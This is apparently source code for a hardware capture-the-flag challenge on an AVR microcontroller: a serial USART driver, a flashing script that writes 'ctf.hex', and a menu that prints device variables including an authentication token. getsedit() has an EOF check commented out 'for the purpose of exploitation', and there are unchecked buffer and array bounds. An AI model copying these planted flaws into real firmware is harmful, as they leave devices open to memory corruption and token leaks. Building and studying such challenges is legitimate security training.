avr/stdio.h, the following FILE 72 | * implementations do NOT provide stream.size, stream.buf, stream.unget, 73 | * stream.flags, or stream.len! If you need support for these features, 74 | * you must provide them in code outside of any of the USART functions 75 | * defined in this library! 76 | * 77 | */ 78 | FILE usartout = FDEV_SETUP_STREAM(USART_putchar, NULL, _FDEV_SETUP_WRITE); 79 | FILE usartin = FDEV_SETUP_STREAM(NULL, USART_getchar, _FDEV_SETUP_READ); 80 | 81 | 82 | 83 | 84 | /* 85 | * Define variables for holding the identifier for the USART currently connected 86 | * to a standard I/O stream. 87 | */ 88 | static int usartsel_stdin = eUSARTC0; // defaults to USARTC0 89 | static int usartsel_stdout = eUSARTC0; // defaults to USARTC0 90 | static int usartsel_stderr = eUSARTC0; // defaults to USARTC0 91 | 92 | 93 | 94 | 95 | #define QUEUE_SIZE 64 /* MUST BE A POWER OF 2!! */ 96 | 97 | /* 98 | * Define in and out pointers (actually, indices) for each of the queues associated 99 | * with a USART receiver. inptr[] holds the index into the queue where the next 100 | * received character will be added. outptr[] holds the index into the queue where 101 | * the next character will be extracted for passing to a calling program. 102 | */ 103 | static volatile unsigned char inptr[NUM_USARTS] = {0, 0, 0, 0, 0, 0, 0, 0}; // index for adding chars to queue 104 | static volatile unsigned char outptr[NUM_USARTS] = {0, 0, 0, 0, 0, 0, 0, 0}; // index for pulling chars from queue 105 | 106 | 107 | /* 108 | * Define queues for handling chars received by each USART. 109 | */ 110 | static volatile unsigned char queue[NUM_USARTS][QUEUE_SIZE]; 111 | 112 | 113 | 114 | /* 115 | * Local functions 116 | */ 117 | static void _rxcisr(int usartnum); 118 | 119 | 120 | 121 | 122 | 123 | /* 124 | * USART_Init() initialize hardware USARTs 125 | * 126 | * This code configures the USARTs for selected baud rate, eight data bits, 127 | * no parity, one stop bit. It also enables the USARTs' transmitter and 128 | * receiver, and enables receive interrupts. 129 | */ 130 | 131 | void USART_Init(uint8_t usartnum, uint8_t bauda, uint8_t baudb) 132 | { 133 | USART_t *pusart; 134 | 135 | if (usartnum >= NUM_USARTS) return; // ignore if out of range 136 | 137 | pusart = usart[usartnum]; // point to selected USART I/O block 138 | switch (usartnum) // based on selected USART... 139 | { 140 | case eUSARTC0: // USARTC0 141 | PORTC_OUTSET = 0x08; // force TXD high 142 | PORTC_DIRSET = 0x08; // TXD is output 143 | PORTC_PIN3CTRL = 0x18; // pin is pulled high 144 | break; 145 | 146 | case eUSARTC1: // USARTC1 147 | PORTC_OUTSET = 0x80; // force TXD high 148 | PORTC_DIRSET = 0x80; // TXD is output 149 | PORTC_PIN7CTRL = 0x18; // pin is pulled high 150 | break; 151 | 152 | case eUSARTD0: // USARTD0 153 | PORTD_OUTSET = 0x08; // force TXD high 154 | PORTD_DIRSET = 0x08; // TXD is output 155 | PORTD_PIN3CTRL = 0x18; // pin is pulled high 156 | break; 157 | 158 | case eUSARTD1: // USARTD1 159 | PORTD_OUTSET = 0x80; // force TXD high 160 | PORTD_DIRSET = 0x80; // TXD is output 161 | PORTD_PIN7CTRL = 0x18; // pin is pulled high 162 | break; 163 | 164 | case eUSARTE0: // USARTE0 165 | PORTE_OUTSET = 0x08; // force TXD high 166 | PORTE_DIRSET = 0x08; // TXD is output 167 | PORTE_PIN3CTRL = 0x18; // pin is pulled high 168 | break; 169 | 170 | case eUSARTE1: // USARTE1 171 | PORTE_OUTSET = 0x80; // force TXD high 172 | PORTE_DIRSET = 0x80; // TXD is output 173 | PORTE_PIN7CTRL = 0x18; // pin is pulled high 174 | break; 175 | 176 | case eUSARTF0: // USARTF0 177 | PORTF_OUTSET = 0x08; // force TXD high 178 | PORTF_DIRSET = 0x08; // TXD is output 179 | PORTF_PIN3CTRL = 0x18; // pin is pulled high 180 | break; 181 | 182 | case eUSARTF1: // USARTF1 183 | PORTF_OUTSET = 0x80; // force TXD high 184 | PORTF_DIRSET = 0x80; // TXD is output 185 | PORTF_PIN7CTRL = 0x18; // pin is pulled high 186 | break; 187 | 188 | default: // should never happen! 189 | break; 190 | } 191 | 192 | pusart->CTRLA = USART_RXCINTLVL_HI_gc; // enable RX interrupts, high level 193 | pusart->CTRLB = USART_CLK2X_bm; // turn on 2x clock, 8 data bits, rcv and xmt disabled 194 | pusart->CTRLC = USART_CHSIZE0_bm + USART_CHSIZE1_bm; // set for 8-bit, 1 stop, no parity 195 | 196 | pusart->BAUDCTRLB = baudb; // do this reg first! 197 | pusart->BAUDCTRLA = bauda; // set up the baud rate 198 | 199 | 200 | pusart->CTRLB = pusart->CTRLB | (USART_RXEN_bm | USART_TXEN_bm); // enable rcv and xmt 201 | } 202 | 203 | 204 | 205 | 206 | /* 207 | * USART_Connect() assign an USART to one of the standard I/O streams 208 | */ 209 | void USART_Connect(int usartnum, int streamsel) 210 | { 211 | 212 | if (usartnum >= NUM_USARTS) return; // illegal USART selector, ignore 213 | 214 | if (streamsel == STDIN_FILENO) usartsel_stdin = usartnum; 215 | else if (streamsel == STDOUT_FILENO) usartsel_stdout = usartnum; 216 | else if (streamsel == STDERR_FILENO) usartsel_stderr = usartnum; 217 | else return; 218 | } 219 | 220 | 221 | 222 | 223 | 224 | 225 | /* 226 | * kbhit() replaces the old DOS check-for-char routine; returns TRUE if char available 227 | */ 228 | int kbhit(void) 229 | { 230 | return (inptr[usartsel_stdin] - outptr[usartsel_stdin]); // could be negative, but will always be 0 if no chars 231 | } 232 | 233 | 234 | 235 | 236 | /* 237 | * getchne() return char without echo; blocks until char is available 238 | */ 239 | int getchne(void) 240 | { 241 | if (stdin) return stdin->get(stdin); 242 | else return EOF; 243 | } 244 | 245 | 246 | 247 | 248 | /* 249 | * getche() return char with echo; blocks until char is available 250 | */ 251 | int getche(void) 252 | { 253 | int c; 254 | 255 | c = getchne(); 256 | if (c != EOF) putchar(c); 257 | return c; 258 | } 259 | 260 | 261 | 262 | 263 | /* 264 | * getsedit() return string from stdin; allows editing by user until Enter 265 | * 266 | * str is the buffer where the incoming chars will be stored. 267 | * 268 | * knt is the maximum number of characters to accept; overwrites char at knt-1 269 | * if user enters too many chars. 270 | * 271 | * func is pointer to callback function that will be invoked as this routine 272 | * waits for a character; use NULL if you want this routine to lock until 273 | * the string is entered. 274 | */ 275 | unsigned char getsedit(char *str, uint8_t knt, void (*func)(void)) 276 | { 277 | char *ptr; 278 | unsigned char k; 279 | int c; 280 | 281 | ptr = str; // get a copy of the buffer addr 282 | *ptr = 0; // keep the string legal 283 | k = 0; // show no chars yet 284 | 285 | while (1) // do forever... 286 | { 287 | if (func) func(); // if user supplied a background function, call it 288 | if (kbhit()) // if char available now... 289 | { 290 | c = getchne(); // get a char 291 | switch (c) // based on the char... 292 | { 293 | case '\b': // if backspace... 294 | if (k>0) // if any chars in the buffer... 295 | { 296 | putchar('\b'); // back up to prev char 297 | putchar(' '); // erase the old char 298 | putchar('\b'); // now back up one 299 | ptr--; // back up one 300 | k--; // keep the books straight 301 | } 302 | break; 303 | 304 | case '\n': // terminating char? 305 | return k; // all ready, just leave 306 | 307 | // for the purpose of exploitation :) 308 | //case EOF: // should never happen! 309 | //return k; // is this right?? 310 | 311 | default: // for all other chars... 312 | if ( // if printable 313 | ('A' <= c && c <= 'Z') || 314 | ('a' <= c && c <= 'z') || 315 | ('0' <= c && c <= '9') 316 | ) 317 | putchar(c); // print the char 318 | 319 | if (k < (knt-1)) // if we still have room... 320 | { 321 | *ptr = (c & 0xff); // save the char 322 | ptr++; // move to next cell 323 | k++; // count this char 324 | } 325 | else // no more room 326 | { 327 | *(ptr-1) = (c & 0xff); // overwrite prev char with latest char 328 | } 329 | break; 330 | } 331 | *ptr = 0; // always make sure string is terminated 332 | } 333 | } 334 | } 335 | 336 | #define F_PER F_CPU 337 | #define BSEL_38400 ((F_PER/(8*38400))-1) /* 2x clock, 38400 baud */ 338 | #define BAUDA_38400 ((BSEL_38400) & 0xff) 339 | #define BAUDB_38400 ((BSEL_38400 >> 8) | 0) /* BSCALE of 0 */ 340 | 341 | 342 | void serial_init(void) { 343 | 344 | /* 345 | * 32 MHz internal oscillator setup 346 | */ 347 | OSC.CTRL |= OSC_RC32MEN_bm; 348 | while (!(OSC.STATUS & OSC_RC32MRDY_bm)); 349 | CCP = CCP_IOREG_gc; 350 | CLK.CTRL = CLK_SCLKSEL_RC32M_gc; 351 | OSC.CTRL &= (~OSC_RC2MEN_bm); // disable RC2M 352 | PORTCFG.CLKEVOUT = (PORTCFG.CLKEVOUT & (~PORTCFG_CLKOUT_gm)) | PORTCFG_CLKOUT_OFF_gc; // disable peripheral clock 353 | 354 | /* 355 | * Set up USART 2 (USARTD0) as stdin, stderr, and stdout. Set baud rate, then connect the 356 | * USART to the standard streams. 357 | */ 358 | USART_Init(eUSARTD1, BAUDA_38400, BAUDB_38400); // init USARTD0 to 38400, 8N1 359 | 360 | USART_Connect(eUSARTD1, STDOUT_FILENO); // use USARTD0 for stdout 361 | USART_Connect(eUSARTD1, STDIN_FILENO); // use USARTD0 for stdin 362 | USART_Connect(eUSARTD1, STDERR_FILENO); // use USARTD0 for stderr 363 | 364 | stdout = &usartout; // connect stdout to the USART drivers 365 | stdin = &usartin; // connect stdin to the USART drivers 366 | stderr = &usartout; // connect stderr to the USART drivers 367 | 368 | /* 369 | * Enable all interrupts (needed for support of the receive interrupt. 370 | */ 371 | PMIC.CTRL = (PMIC_HILVLEX_bm | PMIC_MEDLVLEX_bm | PMIC_LOLVLEX_bm); // unmask all levels 372 | asm("sei"); 373 | } 374 | 375 | /* 376 | * USART_putchar() write char c to selected stream 377 | * 378 | * If stream is not stdout or stderr, call is ignored. 379 | */ 380 | static int USART_putchar(char c, FILE *stream) 381 | { 382 | USART_t *ptr; 383 | 384 | if (stream == stdout) ptr = usart[usartsel_stdout]; // point to active stdout USART 385 | else if (stream == stderr) ptr = usart[usartsel_stdout]; // point to active stderr USART 386 | else return 0; // is this right? 387 | 388 | while ((ptr->STATUS & USART_DREIF_bm) == 0) ; // spin until ready to send 389 | ptr->DATA = c; // send the char to selected USART 390 | return 0; 391 | } 392 | 393 | 394 | 395 | 396 | /* 397 | * USART_getchar() read a char from the selected stream 398 | * 399 | * If the stream is not stdin, call is ignored. 400 | */ 401 | static int USART_getchar(FILE *stream) 402 | { 403 | int n; 404 | int c; 405 | 406 | if (stream != stdin) return 0; // is this right? 407 | 408 | n = usartsel_stdin; // shorthand 409 | while (inptr[n] == outptr[n]) ; // spin until char is available... 410 | c = queue[n][outptr[n]]; // pull char 411 | outptr[n]++; // move to next cell 412 | outptr[n] = outptr[n] & (QUEUE_SIZE-1); // keep it legal 413 | if (c == '\r') c = '\n'; // convert CRs to LFx 414 | return c; 415 | } 416 | 417 | 418 | 419 | 420 | 421 | 422 | 423 | /* 424 | * _rxcisr() low-level USART receive-char interrupt processor 425 | * 426 | * This routine is ONLY to be called by one of the recieve-char ISRs 427 | * below! 428 | * 429 | * This routine updates the receive queue for the selected USART, based 430 | * on the USART selecter passed as argument usartnum. 431 | * 432 | * If a queue overflows, the oldest char is lost. 433 | */ 434 | static void _rxcisr(int usartnum) 435 | { 436 | USART_t *pusart; 437 | 438 | pusart = usart[usartnum]; // point to correct USART 439 | queue[usartnum][inptr[usartnum]] = pusart->DATA; // grab the data 440 | inptr[usartnum]++; // move to next queue slot 441 | inptr[usartnum] = inptr[usartnum] & (QUEUE_SIZE-1); // keep it legal 442 | if (inptr[usartnum] == outptr[usartnum]) // if caught up with outptr... 443 | { 444 | outptr[usartnum]++; // guess we lose the oldest char! 445 | outptr[usartnum] = outptr[usartnum] & (QUEUE_SIZE-1); 446 | } 447 | } 448 | 449 | 450 | 451 | 452 | /* 453 | * These are the eight ISRs used to support receive-char interrupts for 454 | * each USART. 455 | * 456 | * In every case, the ISR invokes _rxcisr() above with the enum associated 457 | * with that ISR's USART. 458 | */ 459 | 460 | ISR(USARTC0_RXC_vect) 461 | { 462 | _rxcisr(eUSARTC0); 463 | } 464 | 465 | 466 | ISR(USARTC1_RXC_vect) 467 | { 468 | _rxcisr(eUSARTC1); 469 | } 470 | 471 | 472 | ISR(USARTD0_RXC_vect) 473 | { 474 | _rxcisr(eUSARTD0); 475 | } 476 | 477 | 478 | ISR(USARTD1_RXC_vect) 479 | { 480 | _rxcisr(eUSARTD1); 481 | } 482 | 483 | 484 | ISR(USARTE0_RXC_vect) 485 | { 486 | _rxcisr(eUSARTE0); 487 | } 488 | 489 | 490 | ISR(USARTE1_RXC_vect) 491 | { 492 | _rxcisr(eUSARTE1); 493 | } 494 | 495 | 496 | ISR(USARTF0_RXC_vect) 497 | { 498 | _rxcisr(eUSARTF0); 499 | } 500 | 501 | 502 | ISR(USARTF1_RXC_vect) 503 | { 504 | _rxcisr(eUSARTF1); 505 | } 506 | 507 | 508 | 509 | 510 | 511 | 512 | 513 | 514 | 515 | /* 516 | * ---------------------------------------------------------------------- 517 | * 518 | * Temporary main(), used to test USART modules. Comment this out before 519 | * building the USART library modules. 520 | */ 521 | 522 | 523 | #if DEBUG 524 | 525 | void noop(void); // dummy background function for call for getsedit 526 | 527 | int main(void) 528 | { 529 | char buff[128]; 530 | 531 | serial_init(); 532 | 533 | 534 | /* 535 | * Announce ourselves. 536 | */ 537 | printf("\n\rATXmega USART demo\n\r"); 538 | 539 | 540 | /* 541 | * Loop forever, reading a line from stdin (with editing), then echoing 542 | * that line to stdout and stderr. 543 | */ 544 | while (1) 545 | { 546 | printf("\n\r> "); 547 | getsedit(buff, 127, noop); // this reads from stdin, echos to stdout 548 | printf("\n\r %s\n\r", buff); // this writes to stdout 549 | fprintf(stderr, "STDERR: %s", buff); // this writes to stderr 550 | } 551 | } 552 | 553 | 554 | 555 | /* 556 | * noop() this is a dummy background function, used in invoking getsedit() above 557 | */ 558 | void noop(void) 559 | { 560 | volatile int n; 561 | 562 | n = 3; 563 | } 564 | 565 | 566 | 567 | #endif 568 | -------------------------------------------------------------------------------- /source/serial/usartx.h: -------------------------------------------------------------------------------- 1 | /* 2 | * uartx.h header file for UART support for the atmega1284p 3 | */ 4 | 5 | #ifndef UARTX_H 6 | #define UARTX_H 7 | 8 | /* 9 | * Only the file that defines OWNER creates the FILE objects below. 10 | */ 11 | #ifdef OWNER 12 | #define EXTERN 13 | #else 14 | #define EXTERN extern 15 | #endif 16 | 17 | 18 | 19 | /* 20 | * Define enums for selecting one of the eight USARTS. 21 | */ 22 | enum usart_ids // these are local-only indices into the queue, inptr, and outptr arrays 23 | { 24 | eUSARTC0 = 0, 25 | eUSARTC1, 26 | eUSARTD0, 27 | eUSARTD1, 28 | eUSARTE0, 29 | eUSARTE1, 30 | eUSARTF0, 31 | eUSARTF1 32 | }; 33 | 34 | 35 | 36 | 37 | /* 38 | * USART_Init() initialize hardware USARTs 39 | * 40 | * This routine configures the USARTs for selected baud rate, eight data bits, 41 | * no parity, one stop bit. It also enables the USARTs' transmitter and 42 | * receiver, and enables receive interrupts. 43 | * 44 | * This function also assigns stdin, stdout, and stderr to UART0 (see FILE 45 | * definitions below). 46 | * 47 | * Note that the arguments bauda and baudb must contain the actual 48 | * value to write to the USART's baud rate registers, NOT the desired baud 49 | * rate! 50 | */ 51 | void USART_Init(uint8_t usartnum, uint8_t bauda, uint8_t baudb); 52 | 53 | 54 | 55 | /* 56 | * USART_Connect() assign an USART to one of the standard I/O streams 57 | * 58 | * This routine associates a selected USART to one of the standard I/O streams. 59 | * The association is made using argument usartnum, which can range from 0 to 60 | * 7 and corresponds to the usart_ids enum above. 61 | * 62 | * Argument streamsel is one of the standard I/O stream identifiers (STDIN_FILENO, 63 | * STDOUT_FILENO, or STDERR_FILENO). 64 | * 65 | * After calling this routine, any standard I/O function, such as printf(), will 66 | * use the associated USART until the connection is changed with a later call 67 | * to this routine. 68 | */ 69 | void USART_Connect(int usartnum, int streamsel); 70 | 71 | 72 | 73 | /* 74 | * Legacy routines for console I/O. 75 | * 76 | * kbhit(), getchne(), and getche() talk only to the stdin stream. These 77 | * routines are commonly available on the old DOS systems and there isn't 78 | * anything in the C standard that provides corresponding functionality. 79 | */ 80 | 81 | /* 82 | * kbhit() test for character available on stdin 83 | * 84 | * This routine returns TRUE if at least one character is available from 85 | * the stdin stream, else it returns FALSE. 86 | */ 87 | int kbhit(void); 88 | 89 | 90 | /* 91 | * getchne() get character from stdin, do not echo 92 | * 93 | * This routine locks until a character is available from stdin. This 94 | * routine then returns the character to the calling routine without 95 | * echoing that character to stdout. 96 | */ 97 | int getchne(void); 98 | 99 | 100 | /* 101 | * getche() get character from stdin, echo char to stdout 102 | * 103 | * This routine locks until a character is available from stdin. This 104 | * routine echoes the character to stdout, then returns the character 105 | * to the calling routine. 106 | */ 107 | int getche(void); 108 | 109 | void serial_init(void); 110 | 111 | 112 | /* 113 | * getsedit get string (editable) from stdin, echo to stdout 114 | * 115 | * This routine reads characters from stdin and echos those chars to 116 | * stdout. The routine accepts editing characters, such as backspace, 117 | * and modifies the string at each keystroke. The routine allows the 118 | * caller to specify a callback function; this callback function is 119 | * always invoked whenever stdin is polled for a character and no 120 | * character is available. 121 | * 122 | * Argument buff points to an array of char that holds the characters 123 | * entered by the user. 124 | * 125 | * Argument knt holds the maximum number of characters to accept, 126 | * plus one (limit of 254). 127 | * 128 | * Argument func points to a void function that acts as a callback 129 | * function. This callback function, if not NULL, will be called 130 | * each time getsedit() checks stdin for a keypress. 131 | * 132 | * Upon exit, the array at buff will hold all accepted chars plus a 133 | * terminating null; the CR entered by the user to terminate input will 134 | * NOT appear in the string! 135 | * 136 | * This routine returns the number of characters accepted, excluding the 137 | * CR (essentially, it returns strlen(buff)). 138 | */ 139 | unsigned char getsedit(char *buff, uint8_t knt, void (*func)(void)); 140 | 141 | 142 | 143 | 144 | #endif 145 | -------------------------------------------------------------------------------- /source/upload.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | 3 | set -e 4 | 5 | #./build.sh 6 | 7 | # avrdude flag meanings: 8 | # -p part no (avr chip type); use ? to get a list of values 9 | # -c programmer; use ? to get a list of values 10 | # -P serial port 11 | # -b baud rate 12 | # -e erase chip 13 | # -V do not verify 14 | # -u disable safemode 15 | # -U memory operation 16 | 17 | # upload via programmer 18 | avrdude -p m328p -c avrispmkII -e -u -U flash:w:main/ctf.hex -P usb 19 | avrdude -p m328p -c avrispmkII -u -U lock:w:0x3c:m -P usb 20 | 21 | # upload via bootloader 22 | #avrdude -p m328p -c arduino -P /dev/ttyUSB0 -b 57600 -e -V -u -U flash:w:main/ctf.hex 23 | 24 | # check if board is alive 25 | python check_board.py /dev/ttyUSB0 26 | if [[ $? == 0 ]]; then 27 | echo 'Board is alive' 28 | else 29 | echo 'Board is dead' 30 | fi 31 | -------------------------------------------------------------------------------- /source/variables/build.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | 3 | set -euo pipefail 4 | 5 | avr-gcc $GCC_COMPILE_FLAGS $GCC_OPTIMIZATION_FLAG $INC_PATH -c variables.c 6 | 7 | echo "$(pwd)/variables.o" 8 | -------------------------------------------------------------------------------- /source/variables/variables.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "serial_io.h" 7 | 8 | char user_auth_response[9]; 9 | 10 | const char *variables[7][2] = { 11 | { "Terminal name", "Erucsir007" }, 12 | { "Accounts", "Enabled (2/2), Active (2/2)" }, 13 | { "Operational mode", "Enabled" }, 14 | { "Debug mode", "Enabled" }, 15 | { "Physical location", "Delft, Netherlands" }, 16 | { "User authentication token", user_auth_response }, 17 | { "Hello", "World!" } // this one is just to mess with people :) 18 | }; 19 | 20 | void variables_menu(uint8_t k) { 21 | uint8_t i; 22 | 23 | for (i = 0; i < k; i++) 24 | if ( isalpha(variables[i][0][0]) ) 25 | serial_printf("%-30s %s\r\n", variables[i][0], variables[i][1]); 26 | 27 | serial_printf("%S", PSTR("Finished printing\r\n")); 28 | } 29 | -------------------------------------------------------------------------------- /source/variables/variables.h: -------------------------------------------------------------------------------- 1 | #ifndef VARIABLES_H 2 | #define VARIABLES_H 3 | 4 | #include 5 | 6 | void variables_menu(uint8_t); 7 | 8 | #endif 9 | --------------------------------------------------------------------------------